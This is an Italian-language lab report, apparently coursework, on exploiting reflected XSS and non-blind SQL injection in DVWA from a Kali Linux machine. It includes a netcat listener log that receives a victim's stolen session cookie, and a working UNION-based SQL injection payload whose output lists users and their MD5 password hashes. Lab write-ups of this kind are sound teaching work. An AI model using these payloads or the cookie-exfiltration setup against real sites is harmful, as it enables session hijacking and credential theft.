

L'obiettivo di questo esercizio è configurare un ambiente virtuale che includa **Damn Vulnerable Web Application (DVWA)** e una macchina attaccante con **Kali Linux** per eseguire e analizzare vulnerabilità XSS e SQL Injection. DVWA è un'applicazione web deliberatamente vulnerabile, progettata per testare tecniche di penetration testing. Questo laboratorio permette di comprendere meglio le potenziali debolezze nelle applicazioni web e di sperimentare tecniche di attacco in modo sicuro.

Obiettivi Specifici

1. Configurare l'ambiente virtuale e verificare la connessione tra Kali Linux e DVWA.
2. Accedere a DVWA e impostare il livello di sicurezza su **LOW**.
3. Sfruttare una vulnerabilità di **Cross-Site Scripting (XSS) reflected**.
4. Sfruttare una vulnerabilità di **SQL Injection non blind**.

Attacco Cross-Site Scripting (XSS) Reflected

Descrizione della Vulnerabilità

Una vulnerabilità **XSS reflected** permette di iniettare codice JavaScript che viene riflesso (cioè rispedito all'utente) senza essere filtrato o convalidato. Questo tipo di attacco può portare al furto di cookie, alla manipolazione della sessione o all'esecuzione di altre azioni dannose sul client.

Passi per Sfruttare la Vulnerabilità

1. Ho navigato fino alla sezione vulnerabile XSS Reflected in DVWA
2. Nel campo di input, ho inserito uno script dannoso

Analisi dei Risultati

L'attacco XSS reflected è stato eseguito con successo, dimostrando che DVWA accetta e visualizza il contenuto dell'input senza filtrarlo. Questo rende possibile l'esecuzione di codice JavaScript malevolo nel contesto del browser dell'utente.

Per verificare i risultati abbiamo utilizzato netcat su kali

```
(kali㉿kali)-[~/Desktop]
$ nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.1.103] from (UNKNOWN) [192.168.1.103] 44016
POST / HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
Origin: http://192.168.1.102
Connection: keep-alive
Referer: http://192.168.1.102/

cookies=security=low; PHPSESSID=7ba07689c5c315f5be9d055f589f9881
```

SQL INJECTION

Descrizione della Vulnerabilità

Una **SQL Injection non blind** permette a un attaccante di manipolare query SQL inviate al database attraverso input non sanitizzato. Questo tipo di vulnerabilità consente di estrarre informazioni dal database direttamente nelle risposte dell'applicazione.

Per questo esercizio abbiamo cercato un codice che ci mostrasse più dati, come presi username e password

```
ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users
First name:
Surname: admin
admin
admin
5f4dcc3b5aa765d61d8327deb882cf99

ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users
First name:
Surname: Gordon
Brown
gordonb
e99a18c428cb38d5f260853678922e03

ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users
First name:
Surname: Hack
Me
1337
8d3533d75ae2c3966d7e0d4fcc69216b

ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users
First name:
Surname: Pablo
Picasso
pablo
0d107d09f5bbe40cade3de5c71e9e9b7

ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users
First name:
Surname: Bob
Smith
```

Le password verranno mostrate in codice hash

Il codice utilizzato è il seguente: `%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users`

Una vulnerabilità SQL Injection non blind può consentire a un attaccante di ottenere l'accesso a dati sensibili.

Gli attacchi XSS e SQL injection eseguiti su DVWA hanno dimostrato come le applicazioni vulnerabili possano esporre dati sensibili e permettere l'esecuzione di codice non autorizzato.